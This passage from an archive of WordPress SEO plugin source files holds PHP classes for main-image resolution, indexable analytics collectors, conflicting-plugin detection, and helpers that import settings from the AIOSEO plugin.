	 * @return string|null The main image URL.
	 */
	public function generate_main_image_url() {
		if ( $this->main_image_id !== null ) {
			return $this->image->get_attachment_image_url( $this->main_image_id, 'full' );
		}

		if ( \wp_is_serving_rest_request() ) {
			return $this->get_main_image_url_for_rest_request();
		}

		if ( ! \is_singular() ) {
			return null;
		}

		$url = $this->image->get_post_content_image( $this->id );
		if ( $url === '' ) {
			return null;
		}

		return $url;
	}

	/**
	 * Generates the main image ID.
	 *
	 * @return int|null The main image ID.
	 */
	public function generate_main_image_id() {
		if ( \wp_is_serving_rest_request() ) {
			return $this->get_main_image_id_for_rest_request();
		}

		switch ( true ) {
			case \is_singular():
				return $this->get_singular_post_image( $this->id );
			case \is_author():
			case \is_tax():
			case \is_tag():
			case \is_category():
			case \is_search():
			case \is_date():
			case \is_post_type_archive():
				if ( ! empty( $GLOBALS['wp_query']->posts ) ) {
					if ( $GLOBALS['wp_query']->get( 'fields', 'all' ) === 'ids' ) {
						return $this->get_singular_post_image( $GLOBALS['wp_query']->posts[0] );
					}

					return $this->get_singular_post_image( $GLOBALS['wp_query']->posts[0]->ID );
				}
				return null;
			default:
				return null;
		}
	}

	/**
	 * Determines whether the current indexable has an image.
	 *
	 * @return bool Whether the current indexable has an image.
	 */
	public function generate_has_image() {
		return $this->main_image_url !== null;
	}

	/**
	 * Strips all nested dependencies from the debug info.
	 *
	 * @return array<Indexable,Indexable_Presentation>
	 */
	public function __debugInfo() {
		return [
			'indexable'    => $this->indexable,
			'presentation' => $this->presentation,
		];
	}

	/**
	 * Retrieve the site logo ID from WordPress settings.
	 *
	 * @return false|int
	 */
	public function fallback_to_site_logo() {
		$logo_id = \get_option( 'site_logo' );
		if ( ! $logo_id ) {
			$logo_id = \get_theme_mod( 'custom_logo', false );
		}

		return $logo_id;
	}

	/**
	 * Get the ID for a post's featured image.
	 *
	 * @param int $id Post ID.
	 *
	 * @return int|null
	 */
	private function get_singular_post_image( $id ) {
		if ( \has_post_thumbnail( $id ) ) {
			$thumbnail_id = \get_post_thumbnail_id( $id );
			// Prevent returning something else than an int or null.
			if ( \is_int( $thumbnail_id ) && $thumbnail_id > 0 ) {
				return $thumbnail_id;
			}
		}

		if ( \is_singular( 'attachment' ) ) {
			return \get_query_var( 'attachment_id' );
		}

		return null;
	}

	/**
	 * Gets the main image ID for REST requests.
	 *
	 * @return int|null The main image ID.
	 */
	private function get_main_image_id_for_rest_request() {
		switch ( $this->page_type ) {
			case 'Post_Type':
				if ( $this->post instanceof WP_Post ) {
					return $this->get_singular_post_image( $this->post->ID );
				}
				return null;
			default:
				return null;
		}
	}

	/**
	 * Gets the main image URL for REST requests.
	 *
	 * @return string|null The main image URL.
	 */
	private function get_main_image_url_for_rest_request() {
		switch ( $this->page_type ) {
			case 'Post_Type':
				if ( $this->post instanceof WP_Post ) {
					$url = $this->image->get_post_content_image( $this->post->ID );
					if ( $url === '' ) {
						return null;
					}
					return $url;
				}
				return null;
			default:
				return null;
		}
	}
}

\class_alias( Meta_Tags_Context::class, 'WPSEO_Schema_Context' );
wordpress-seo/src/analytics/user-interface/last-completed-indexation-integration.php000064400000003334147510273100025164 0ustar00<?php

namespace Yoast\WP\SEO\Analytics\User_Interface;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Handles setting a timestamp when the indexation of a specific indexation action is completed.
 */
class Last_Completed_Indexation_Integration implements Integration_Interface {

	use No_Conditionals;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper The options helper.
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Registers action hook to maybe save an option.
	 *
	 * @return void
	 */
	public function register_hooks(): void {
		\add_action(
			'wpseo_indexables_unindexed_calculated',
			[
				$this,
				'maybe_set_indexables_unindexed_calculated',
			],
			10,
			2
		);
	}

	/**
	 * Saves a timestamp option when there are no unindexed indexables.
	 *
	 * @param string $indexable_name The name of the indexable that is being checked.
	 * @param int    $count          The amount of missing indexables.
	 *
	 * @return void
	 */
	public function maybe_set_indexables_unindexed_calculated( string $indexable_name, int $count ): void {
		if ( $count === 0 ) {
			$no_index                    = $this->options_helper->get( 'last_known_no_unindexed', [] );
			$no_index[ $indexable_name ] = \time();

			\remove_action( 'update_option_wpseo', [ 'WPSEO_Utils', 'clear_cache' ] );
			$this->options_helper->set( 'last_known_no_unindexed', $no_index );
			\add_action( 'update_option_wpseo', [ 'WPSEO_Utils', 'clear_cache' ] );
		}
	}
}
wordpress-seo/src/analytics/domain/missing-indexable-bucket.php000064400000001731147510273100020775 0ustar00<?php

namespace Yoast\WP\SEO\Analytics\Domain;

/**
 * A collection domain object.
 */
class Missing_Indexable_Bucket {

	/**
	 * All the missing indexable count objects.
	 *
	 * @var array<Missing_Indexable_Count>
	 */
	private $missing_indexable_counts;

	/**
	 * The constructor.
	 */
	public function __construct() {
		$this->missing_indexable_counts = [];
	}

	/**
	 * Adds a missing indexable count object to this bucket.
	 *
	 * @param Missing_Indexable_Count $missing_indexable_count The missing indexable count object.
	 *
	 * @return void
	 */
	public function add_missing_indexable_count( Missing_Indexable_Count $missing_indexable_count ): void {
		$this->missing_indexable_counts[] = $missing_indexable_count;
	}

	/**
	 * Returns the array representation of all indexable counts.
	 *
	 * @return array
	 */
	public function to_array() {
		return \array_map(
			static function ( $item ) {
				return $item->to_array();
			},
			$this->missing_indexable_counts
		);
	}
}
wordpress-seo/src/analytics/domain/to-be-cleaned-indexable-count.php000064400000002231147510273100021572 0ustar00<?php

namespace Yoast\WP\SEO\Analytics\Domain;

/**
 * The to be cleaned indexable domain object.
 */
class To_Be_Cleaned_Indexable_Count {

	/**
	 * The cleanup task that is represented by this.
	 *
	 * @var string
	 */
	private $cleanup_name;

	/**
	 * The amount of missing indexables.
	 *
	 * @var int
	 */
	private $count;

	/**
	 * The constructor.
	 *
	 * @param string $cleanup_name The indexable type that is represented by this.
	 * @param int    $count        The amount of missing indexables.
	 */
	public function __construct( $cleanup_name, $count ) {
		$this->cleanup_name = $cleanup_name;
		$this->count        = $count;
	}

	/**
	 * Returns an array representation of the data.
	 *
	 * @return array Returns both values in an array format.
	 */
	public function to_array() {
		return [
			'cleanup_name' => $this->get_cleanup_name(),
			'count'        => $this->get_count(),
		];
	}

	/**
	 * Gets the name.
	 *
	 * @return string
	 */
	public function get_cleanup_name() {
		return $this->cleanup_name;
	}

	/**
	 * Gets the count.
	 *
	 * @return int Returns the amount of missing indexables.
	 */
	public function get_count() {
		return $this->count;
	}
}
wordpress-seo/src/analytics/domain/missing-indexable-count.php000064400000002336147510273100020652 0ustar00<?php

namespace Yoast\WP\SEO\Analytics\Domain;

/**
 * Domain object that holds indexable count information.
 */
class Missing_Indexable_Count {

	/**
	 * The indexable type that is represented by this.
	 *
	 * @var string
	 */
	private $indexable_type;

	/**
	 * The amount of missing indexables.
	 *
	 * @var int
	 */
	private $count;

	/**
	 * The constructor.
	 *
	 * @param string $indexable_type The indexable type that is represented by this.
	 * @param int    $count          The amount of missing indexables.
	 */
	public function __construct( $indexable_type, $count ) {
		$this->indexable_type = $indexable_type;
		$this->count          = $count;
	}

	/**
	 * Returns an array representation of the data.
	 *
	 * @return array Returns both values in an array format.
	 */
	public function to_array() {
		return [
			'indexable_type' => $this->get_indexable_type(),
			'count'          => $this->get_count(),
		];
	}

	/**
	 * Gets the indexable type.
	 *
	 * @return string Returns the indexable type.
	 */
	public function get_indexable_type() {
		return $this->indexable_type;
	}

	/**
	 * Gets the count.
	 *
	 * @return int Returns the amount of missing indexables.
	 */
	public function get_count() {
		return $this->count;
	}
}
wordpress-seo/src/analytics/domain/to-be-cleaned-indexable-bucket.php000064400000002062147510273100021721 0ustar00<?php

namespace Yoast\WP\SEO\Analytics\Domain;

/**
 * A collection domain object.
 */
class To_Be_Cleaned_Indexable_Bucket {

	/**
	 * All the to be cleaned indexable count objects.
	 *
	 * @var array<To_Be_Cleaned_Indexable_Count>
	 */
	private $to_be_cleaned_indexable_counts;

	/**
	 * The constructor.
	 */
	public function __construct() {
		$this->to_be_cleaned_indexable_counts = [];
	}

	/**
	 * Adds a 'to be cleaned' indexable count object to this bucket.
	 *
	 * @param To_Be_Cleaned_Indexable_Count $to_be_cleaned_indexable_counts The to be cleaned indexable count object.
	 *
	 * @return void
	 */
	public function add_to_be_cleaned_indexable_count( To_Be_Cleaned_Indexable_Count $to_be_cleaned_indexable_counts ) {
		$this->to_be_cleaned_indexable_counts[] = $to_be_cleaned_indexable_counts;
	}

	/**
	 * Returns the array representation of all indexable counts.
	 *
	 * @return array
	 */
	public function to_array() {
		return \array_map(
			static function ( $item ) {
				return $item->to_array();
			},
			$this->to_be_cleaned_indexable_counts
		);
	}
}
wordpress-seo/src/analytics/application/missing-indexables-collector.php000064400000004521147510273100022725 0ustar00<?php

namespace Yoast\WP\SEO\Analytics\Application;

use WPSEO_Collection;
use Yoast\WP\SEO\Actions\Indexing\Indexation_Action_Interface;
use Yoast\WP\SEO\Analytics\Domain\Missing_Indexable_Bucket;
use Yoast\WP\SEO\Analytics\Domain\Missing_Indexable_Count;

/**
 * Manages the collection of the missing indexable data.
 *
 * @makePublic
 */
class Missing_Indexables_Collector implements WPSEO_Collection {

	/**
	 * All the indexation actions.
	 *
	 * @var array<Indexation_Action_Interface>
	 */
	private $indexation_actions;

	/**
	 * The collector constructor.
	 *
	 * @param Indexation_Action_Interface ...$indexation_actions All the Indexation actions.
	 */
	public function __construct( Indexation_Action_Interface ...$indexation_actions ) {
		$this->indexation_actions = $indexation_actions;
		$this->add_additional_indexing_actions();
	}

	/**
	 * Gets the data for the tracking collector.
	 *
	 * @return array The list of missing indexables.
	 */
	public function get() {
		$missing_indexable_bucket = new Missing_Indexable_Bucket();
		foreach ( $this->indexation_actions as $indexation_action ) {
			$missing_indexable_count = new Missing_Indexable_Count( \get_class( $indexation_action ), $indexation_action->get_total_unindexed() );
			$missing_indexable_bucket->add_missing_indexable_count( $missing_indexable_count );
		}

		return [ 'missing_indexables' => $missing_indexable_bucket->to_array() ];
	}

	/**
	 * Adds additional indexing actions to count from the 'wpseo_indexable_collector_add_indexation_actions' filter.
	 *
	 * @return void
	 */
	private function add_additional_indexing_actions() {
		/**
		 * Filter: Adds the possibility to add additional indexation actions to be included in the count routine.
		 *
		 * @internal
		 * @param Indexation_Action_Interface $actions This filter expects a list of Indexation_Action_Interface instances
		 *                                             and expects only Indexation_Action_Interface implementations to be
		 *                                             added to the list.
		 */
		$indexing_actions = (array) \apply_filters( 'wpseo_indexable_collector_add_indexation_actions', $this->indexation_actions );

		$this->indexation_actions = \array_filter(
			$indexing_actions,
			static function ( $indexing_action ) {
				return \is_a( $indexing_action, Indexation_Action_Interface::class );
			}
		);
	}
}
wordpress-seo/src/analytics/application/to-be-cleaned-indexables-collector.php000064400000010124147510273100023647 0ustar00<?php

namespace Yoast\WP\SEO\Analytics\Application;

use WPSEO_Collection;
use Yoast\WP\SEO\Analytics\Domain\To_Be_Cleaned_Indexable_Bucket;
use Yoast\WP\SEO\Analytics\Domain\To_Be_Cleaned_Indexable_Count;
use Yoast\WP\SEO\Repositories\Indexable_Cleanup_Repository;

/**
 * Collects data about to-be-cleaned indexables.
 *
 * @makePublic
 */
class To_Be_Cleaned_Indexables_Collector implements WPSEO_Collection {

	/**
	 * The cleanup query repository.
	 *
	 * @var Indexable_Cleanup_Repository
	 */
	private $indexable_cleanup_repository;

	/**
	 * The constructor.
	 *
	 * @param Indexable_Cleanup_Repository $indexable_cleanup_repository The Indexable cleanup repository.
	 */
	public function __construct( Indexable_Cleanup_Repository $indexable_cleanup_repository ) {
		$this->indexable_cleanup_repository = $indexable_cleanup_repository;
	}

	/**
	 * Gets the data for the collector.
	 *
	 * @return array
	 */
	public function get() {
		$to_be_cleaned_indexable_bucket = new To_Be_Cleaned_Indexable_Bucket();
		$cleanup_tasks                  = [
			'indexables_with_post_object_type_and_shop_order_object_sub_type' => $this->indexable_cleanup_repository->count_indexables_with_object_type_and_object_sub_type( 'post', 'shop_order' ),
			'indexables_with_auto-draft_post_status'            => $this->indexable_cleanup_repository->count_indexables_with_post_status( 'auto-draft' ),
			'indexables_for_non_publicly_viewable_post'         => $this->indexable_cleanup_repository->count_indexables_for_non_publicly_viewable_post(),
			'indexables_for_non_publicly_viewable_taxonomies'   => $this->indexable_cleanup_repository->count_indexables_for_non_publicly_viewable_taxonomies(),
			'indexables_for_non_publicly_viewable_post_type_archive_pages' => $this->indexable_cleanup_repository->count_indexables_for_non_publicly_post_type_archive_pages(),
			'indexables_for_authors_archive_disabled'           => $this->indexable_cleanup_repository->count_indexables_for_authors_archive_disabled(),
			'indexables_for_authors_without_archive'            => $this->indexable_cleanup_repository->count_indexables_for_authors_without_archive(),
			'indexables_for_object_type_and_source_table_users' => $this->indexable_cleanup_repository->count_indexables_for_orphaned_users(),
			'indexables_for_object_type_and_source_table_posts' => $this->indexable_cleanup_repository->count_indexables_for_object_type_and_source_table( 'posts', 'ID', 'post' ),
			'indexables_for_object_type_and_source_table_terms' => $this->indexable_cleanup_repository->count_indexables_for_object_type_and_source_table( 'terms', 'term_id', 'term' ),
			'orphaned_from_table_indexable_hierarchy'           => $this->indexable_cleanup_repository->count_orphaned_from_table( 'Indexable_Hierarchy', 'indexable_id' ),
			'orphaned_from_table_indexable_id'                  => $this->indexable_cleanup_repository->count_orphaned_from_table( 'SEO_Links', 'indexable_id' ),
			'orphaned_from_table_target_indexable_id'           => $this->indexable_cleanup_repository->count_orphaned_from_table( 'SEO_Links', 'target_indexable_id' ),
		];

		foreach ( $cleanup_tasks as $name => $count ) {
			if ( $count !== null ) {
				$count_object = new To_Be_Cleaned_Indexable_Count( $name, $count );
				$to_be_cleaned_indexable_bucket->add_to_be_cleaned_indexable_count( $count_object );
			}
		}

		$this->add_additional_counts( $to_be_cleaned_indexable_bucket );

		return [ 'to_be_cleaned_indexables' => $to_be_cleaned_indexable_bucket->to_array() ];
	}

	/**
	 * Allows additional tasks to be added via the 'wpseo_add_cleanup_counts_to_indexable_bucket' action.
	 *
	 * @param To_Be_Cleaned_Indexable_Bucket $to_be_cleaned_indexable_bucket The current bucket with data.
	 *
	 * @return void
	 */
	private function add_additional_counts( $to_be_cleaned_indexable_bucket ) {
		/**
		 * Action: Adds the possibility to add additional to be cleaned objects.
		 *
		 * @internal
		 * @param To_Be_Cleaned_Indexable_Bucket $bucket An indexable cleanup bucket. New values are instances of To_Be_Cleaned_Indexable_Count.
		 */
		\do_action( 'wpseo_add_cleanup_counts_to_indexable_bucket', $to_be_cleaned_indexable_bucket );
	}
}
wordpress-seo/src/services/importing/conflicting-plugins-service.php000064400000006224147510273100022133 0ustar00<?php

namespace Yoast\WP\SEO\Services\Importing;

use Yoast\WP\SEO\Config\Conflicting_Plugins;

/**
 * Detects plugin conflicts.
 */
class Conflicting_Plugins_Service {

	/**
	 * Detects the conflicting plugins.
	 *
	 * @return array A list of all active conflicting plugins.
	 */
	public function detect_conflicting_plugins() {
		$all_active_plugins = $this->get_active_plugins();

		// Search for active plugins.
		return $this->get_active_conflicting_plugins( $all_active_plugins );
	}

	/**
	 * Deactivates the specified plugin(s) if any, or the entire list of known conflicting plugins.
	 *
	 * @param string|array|false $plugins Optional. The plugin filename, or array of plugin filenames, to deactivate.
	 *
	 * @return void
	 */
	public function deactivate_conflicting_plugins( $plugins = false ) {
		// If no plugins are specified, deactivate any known conflicting plugins that are active.
		if ( ! $plugins ) {
			$plugins = $this->detect_conflicting_plugins();
		}

		// In case of a single plugin, wrap it in an array.
		if ( \is_string( $plugins ) ) {
			$plugins = [ $plugins ];
		}

		if ( ! \is_array( $plugins ) ) {
			return;
		}

		// Deactivate all specified plugins across the network, while retaining their deactivation hook.
		\deactivate_plugins( $plugins );
	}

	/**
	 * Loop through the list of known conflicting plugins to check if one of the plugins is active.
	 *
	 * @param array $all_active_plugins All plugins loaded by WordPress.
	 *
	 * @return array The array of activated conflicting plugins.
	 */
	protected function get_active_conflicting_plugins( $all_active_plugins ) {
		$active_conflicting_plugins = [];

		foreach ( Conflicting_Plugins::all_plugins() as $plugin ) {
			if ( \in_array( $plugin, $all_active_plugins, true ) ) {
				$active_conflicting_plugins[] = $plugin;
			}
		}

		return $active_conflicting_plugins;
	}

	/**
	 * Get a list of all plugins active in the current WordPress instance.
	 *
	 * @return false|array The names of all active plugins.
	 */
	protected function get_active_plugins() {
		// Request a list of active plugins from WordPress.
		$all_active_plugins = \get_option( 'active_plugins' );

		return $this->ignore_deactivating_plugin( $all_active_plugins );
	}

	/**
	 * While deactivating a plugin, we should ignore the plugin currently being deactivated.
	 *
	 * @param array $all_active_plugins All plugins currently loaded by WordPress.
	 *
	 * @return array The remaining active plugins.
	 */
	protected function ignore_deactivating_plugin( $all_active_plugins ) {
		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are strictly comparing only.
		if ( isset( $_GET['action'] ) && isset( $_GET['plugin'] ) && \is_string( $_GET['action'] ) && \is_string( $_GET['plugin'] ) && \wp_unslash( $_GET['action'] ) === 'deactivate' ) {
			$deactivated_plugin = \sanitize_text_field( \wp_unslash( $_GET['plugin'] ) );

			\check_admin_referer( 'deactivate-plugin_' . $deactivated_plugin );

			$key_to_remove = \array_search( $deactivated_plugin, $all_active_plugins, true );
			if ( $key_to_remove !== false ) {
				unset( $all_active_plugins[ $key_to_remove ] );
			}
		}

		return $all_active_plugins;
	}
}
wordpress-seo/src/services/importing/importable-detector-service.php000064400000005031147510273100022115 0ustar00<?php

namespace Yoast\WP\SEO\Services\Importing;

use Yoast\WP\SEO\Actions\Importing\Importing_Action_Interface;

/**
 * Detects if any data from other SEO plugins is available for importing.
 */
class Importable_Detector_Service {

	/**
	 * All known import actions
	 *
	 * @var array|Importing_Action_Interface[]
	 */
	protected $importers;

	/**
	 * Importable_Detector_Service constructor.
	 *
	 * @param Importing_Action_Interface ...$importers All of the known importers.
	 */
	public function __construct( Importing_Action_Interface ...$importers ) {
		$this->importers = $importers;
	}

	/**
	 * Returns the detected importers that have data to work with.
	 *
	 * @param string|null $plugin The plugin name of the importer.
	 * @param string|null $type   The type of the importer.
	 *
	 * @return array The detected importers that have data to work with.
	 */
	public function detect_importers( $plugin = null, $type = null ) {
		$detectors = $this->filter_actions( $this->importers, $plugin, $type );

		$detected = [];
		foreach ( $detectors as $detector ) {
			if ( $detector->is_enabled() && $detector->get_type() !== 'cleanup' && ! $detector->get_completed() && $detector->get_limited_unindexed_count( 1 ) > 0 ) {
				$detected[ $detector->get_plugin() ][] = $detector->get_type();
			}
		}

		return $detected;
	}

	/**
	 * Returns the detected cleanups that have data to work with.
	 *
	 * @param string|null $plugin The plugin name of the cleanup.
	 *
	 * @return array The detected importers that have data to work with.
	 */
	public function detect_cleanups( $plugin = null ) {
		$detectors = $this->filter_actions( $this->importers, $plugin, 'cleanup' );

		$detected = [];
		foreach ( $detectors as $detector ) {
			if ( $detector->is_enabled() && ! $detector->get_completed() && $detector->get_limited_unindexed_count( 1 ) > 0 ) {
				$detected[ $detector->get_plugin() ][] = $detector->get_type();
			}
		}

		return $detected;
	}

	/**
	 * Filters all import actions from a list that do not match the given Plugin or Type.
	 *
	 * @param Importing_Action_Interface[] $all_actions The complete list of actions.
	 * @param string|null                  $plugin      The Plugin name whose actions to keep.
	 * @param string|null                  $type        The type of actions to keep.
	 *
	 * @return array
	 */
	public function filter_actions( $all_actions, $plugin = null, $type = null ) {
		return \array_filter(
			$all_actions,
			static function ( $action ) use ( $plugin, $type ) {
				return $action->is_compatible_with( $plugin, $type );
			}
		);
	}
}
wordpress-seo/src/services/importing/aioseo/aioseo-robots-provider-service.php000064400000003254147510273100024051 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Given it's a very specific case.
namespace Yoast\WP\SEO\Services\Importing\Aioseo;

use Yoast\WP\SEO\Helpers\Aioseo_Helper;

/**
 * Provides AISOEO search appearance robot settings.
 */
class Aioseo_Robots_Provider_Service {

	/**
	 * The AIOSEO helper.
	 *
	 * @var Aioseo_Helper
	 */
	protected $aioseo_helper;

	/**
	 * Class constructor.
	 *
	 * @param Aioseo_Helper $aioseo_helper The AIOSEO helper.
	 */
	public function __construct(
		Aioseo_Helper $aioseo_helper
	) {
		$this->aioseo_helper = $aioseo_helper;
	}

	/**
	 * Retrieves the robot setting set globally in AIOSEO.
	 *
	 * @param string $setting_name The name of the robot setting, eg. noindex.
	 *
	 * @return bool Whether global robot settings enable or not the specific setting.
	 */
	public function get_global_robot_settings( $setting_name ) {
		$aioseo_settings = $this->aioseo_helper->get_global_option();
		if ( empty( $aioseo_settings ) ) {
			return false;
		}

		$global_robot_settings = $aioseo_settings['searchAppearance']['advanced']['globalRobotsMeta'];
		if ( $global_robot_settings['default'] === true ) {
			return false;
		}

		return $global_robot_settings[ $setting_name ];
	}

	/**
	 * Gets the subtype's robot setting from the db.
	 *
	 * @param array $mapping The mapping of the setting we're working with.
	 *
	 * @return bool The robot setting.
	 */
	public function get_subtype_robot_setting( $mapping ) {
		$aioseo_settings = \json_decode( \get_option( $mapping['option_name'], '' ), true );

		return $aioseo_settings['searchAppearance'][ $mapping['type'] ][ $mapping['subtype'] ]['advanced']['robotsMeta'][ $mapping['robot_type'] ];
	}
}
wordpress-seo/src/services/importing/aioseo/aioseo-robots-transformer-service.php000064400000003326147510273100024561 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Given it's a very specific case.
namespace Yoast\WP\SEO\Services\Importing\Aioseo;

/**
 * Transforms AISOEO search appearance robot settings.
 */
class Aioseo_Robots_Transformer_Service {

	/**
	 * The robots transfomer service.
	 *
	 * @var Aioseo_Robots_Provider_Service
	 */
	protected $robots_provider;

	/**
	 * Class constructor.
	 *
	 * @param Aioseo_Robots_Provider_Service $robots_provider The robots provider service.
	 */
	public function __construct(
		Aioseo_Robots_Provider_Service $robots_provider
	) {
		$this->robots_provider = $robots_provider;
	}

	/**
	 * Transforms the robot setting, taking into consideration whether they defer to global defaults.
	 *
	 * @param string $setting_name  The name of the robot setting, eg. noindex.
	 * @param bool   $setting_value The value of the robot setting.
	 * @param array  $mapping       The mapping of the setting we're working with.
	 *
	 * @return bool The transformed robot setting.
	 */
	public function transform_robot_setting( $setting_name, $setting_value, $mapping ) {
		$aioseo_settings = \json_decode( \get_option( $mapping['option_name'], '' ), true );

		// Let's check first if it defers to global robot settings.
		if ( empty( $aioseo_settings ) || ! isset( $aioseo_settings['searchAppearance'][ $mapping['type'] ][ $mapping['subtype'] ]['advanced']['robotsMeta']['default'] ) ) {
			return $setting_value;
		}

		$defers_to_defaults = $aioseo_settings['searchAppearance'][ $mapping['type'] ][ $mapping['subtype'] ]['advanced']['robotsMeta']['default'];

		if ( $defers_to_defaults ) {
			return $this->robots_provider->get_global_robot_settings( $setting_name );
		}

		return $setting_value;
	}
}
wordpress-seo/src/services/importing/aioseo/aioseo-replacevar-service.php000064400000006637147510273100023045 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Given it's a very specific case.
namespace Yoast\WP\SEO\Services\Importing\Aioseo;

/**
 * Replaces AISOEO replacevars with Yoast ones.
 */
class Aioseo_Replacevar_Service {

	/**
	 * Mapping between the AiOSEO replace vars and the Yoast replace vars.
	 *
	 * @var array
	 *
	 * @see https://yoast.com/help/list-available-snippet-variables-yoast-seo/
	 */
	protected $replace_vars_map = [
		// The key is the AiOSEO replace var, the value is the Yoast replace var (see class-wpseo-replace-vars).
		'#archive_title'             => '%%archive_title%%',
		'#archive_date'              => '%%date%%',
		'#attachment_caption'        => '%%caption%%',
		'#author_bio'                => '%%user_description%%',
		'#author_first_name'         => '%%author_first_name%%',
		'#author_last_name'          => '%%author_last_name%%',
		'#author_name'               => '%%name%%',
		'#blog_title'                => '%%sitename%%', // Same with #site_title.
		'#categories'                => '%%category%%',
		'#current_date'              => '%%currentdate%%',
		'#current_day'               => '%%currentday%%',
		'#current_month'             => '%%currentmonth%%',
		'#current_year'              => '%%currentyear%%',
		'#parent_title'              => '%%parent_title%%',
		'#page_number'               => '%%pagenumber%%',
		'#permalink'                 => '%%permalink%%',
		'#post_content'              => '%%post_content%%',
		'#post_date'                 => '%%date%%',
		'#post_day'                  => '%%post_day%%',
		'#post_month'                => '%%post_month%%',
		'#post_title'                => '%%title%%',
		'#post_year'                 => '%%post_year%%',
		'#post_excerpt_only'         => '%%excerpt_only%%',
		'#post_excerpt'              => '%%excerpt%%',
		'#search_term'               => '%%searchphrase%%',
		'#separator_sa'              => '%%sep%%',
		'#site_title'                => '%%sitename%%',
		'#tagline'                   => '%%sitedesc%%',
		'#taxonomy_title'            => '%%category_title%%',
		'#taxonomy_description'      => '%%term_description%%',
	];

	/**
	 * Edits the replace_vars map of the class.
	 *
	 * @param string $aioseo_var The AIOSEO replacevar.
	 * @param string $yoast_var  The Yoast replacevar.
	 *
	 * @return void
	 */
	public function compose_map( $aioseo_var, $yoast_var ) {
		$map = $this->replace_vars_map;

		$map[ $aioseo_var ] = $yoast_var;

		$this->replace_vars_map = $map;
	}

	/**
	 * Transforms AIOSEO replacevars into Yoast replacevars.
	 *
	 * @param string $aioseo_replacevar The AIOSEO replacevar.
	 *
	 * @return string The Yoast replacevar.
	 */
	public function transform( $aioseo_replacevar ) {
		$yoast_replacevar = \str_replace( \array_keys( $this->replace_vars_map ), \array_values( $this->replace_vars_map ), $aioseo_replacevar );

		// Transform the '#custom_field-<custom_field>' tags into '%%cf_<custom_field>%%' ones.
		$yoast_replacevar = \preg_replace_callback(
			'/#custom_field-([a-zA-Z0-9_-]+)/',
			static function ( $cf_matches ) {
				return '%%cf_' . $cf_matches[1] . '%%';
			},
			$yoast_replacevar
		);

		// Transform the '#tax_name-<custom-tax-name>' tags into '%%ct_<custom-tax-name>%%' ones.
		$yoast_replacevar = \preg_replace_callback(
			'/#tax_name-([a-zA-Z0-9_-]+)/',
			static function ( $ct_matches ) {
				return '%%ct_' . $ct_matches[1] . '%%';
			},
			$yoast_replacevar
		);

		return $yoast_replacevar;
	}
}
wordpress-seo/src/services/importing/aioseo/aioseo-social-images-provider-service.php000064400000010653147510273100025257 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Given it's a very specific case.
namespace Yoast\WP\SEO\Services\Importing\Aioseo;

use Yoast\WP\SEO\Helpers\Aioseo_Helper;
use Yoast\WP\SEO\Helpers\Image_Helper;

/**
 * Provides AISOEO social images urls.
 */
class Aioseo_Social_Images_Provider_Service {

	/**
	 * The AIOSEO helper.
	 *
	 * @var Aioseo_Helper
	 */
	protected $aioseo_helper;

	/**
	 * The image helper.
	 *
	 * @var Image_Helper
	 */
	protected $image;

	/**
	 * Class constructor.
	 *
	 * @param Aioseo_Helper $aioseo_helper The AIOSEO helper.
	 * @param Image_Helper  $image         The image helper.
	 */
	public function __construct(
		Aioseo_Helper $aioseo_helper,
		Image_Helper $image
	) {
		$this->aioseo_helper = $aioseo_helper;
		$this->image         = $image;
	}

	/**
	 * Retrieves the default source of social images.
	 *
	 * @param string $social_setting The social settings we're working with, eg. open-graph or twitter.
	 *
	 * @return string The default source of social images.
	 */
	public function get_default_social_image_source( $social_setting ) {
		return $this->get_social_defaults( 'source', $social_setting );
	}

	/**
	 * Retrieves the default custom social image if there is any.
	 *
	 * @param string $social_setting The social settings we're working with, eg. open-graph or twitter.
	 *
	 * @return string The global default social image.
	 */
	public function get_default_custom_social_image( $social_setting ) {
		return $this->get_social_defaults( 'custom_image', $social_setting );
	}

	/**
	 * Retrieves social defaults, be it Default Post Image Source or Default Post Image.
	 *
	 * @param string $setting        The setting we want, eg. source or custom image.
	 * @param string $social_setting The social settings we're working with, eg. open-graph or twitter.
	 *
	 * @return string The social default.
	 */
	public function get_social_defaults( $setting, $social_setting ) {
		switch ( $setting ) {
			case 'source':
				$setting_key = 'defaultImageSourcePosts';
				break;
			case 'custom_image':
				$setting_key = 'defaultImagePosts';
				break;
			default:
				return '';
		}

		$aioseo_settings = $this->aioseo_helper->get_global_option();

		if ( $social_setting === 'og' ) {
			$social_setting = 'facebook';
		}

		if ( ! isset( $aioseo_settings['social'][ $social_setting ]['general'][ $setting_key ] ) ) {
			return '';
		}

		return $aioseo_settings['social'][ $social_setting ]['general'][ $setting_key ];
	}

	/**
	 * Retrieves the url of the first image in content.
	 *
	 * @param int $post_id The post id to extract the image from.
	 *
	 * @return string The url of the first image in content.
	 */
	public function get_first_image_in_content( $post_id ) {
		$image = $this->image->get_gallery_image( $post_id );

		if ( ! $image ) {
			$image = $this->image->get_post_content_image( $post_id );
		}

		return $image;
	}

	/**
	 * Retrieves the url of the first attached image.
	 *
	 * @param int $post_id The post id to extract the image from.
	 *
	 * @return string The url of the first attached image.
	 */
	public function get_first_attached_image( $post_id ) {
		if ( \get_post_type( $post_id ) === 'attachment' ) {
			return $this->image->get_attachment_image_source( $post_id, 'fullsize' );
		}

		$attachments = \get_children(
			[
				'post_parent'    => $post_id,
				'post_status'    => 'inherit',
				'post_type'      => 'attachment',
				'post_mime_type' => 'image',
			]
		);

		if ( $attachments && ! empty( $attachments ) ) {
			return $this->image->get_attachment_image_source( \array_values( $attachments )[0]->ID, 'fullsize' );
		}

		return '';
	}

	/**
	 * Retrieves the url of the featured image.
	 *
	 * @param int $post_id The post id to extract the image from.
	 *
	 * @return string The url of the featured image.
	 */
	public function get_featured_image( $post_id ) {
		$feature_image_id = \get_post_thumbnail_id( $post_id );

		if ( $feature_image_id ) {
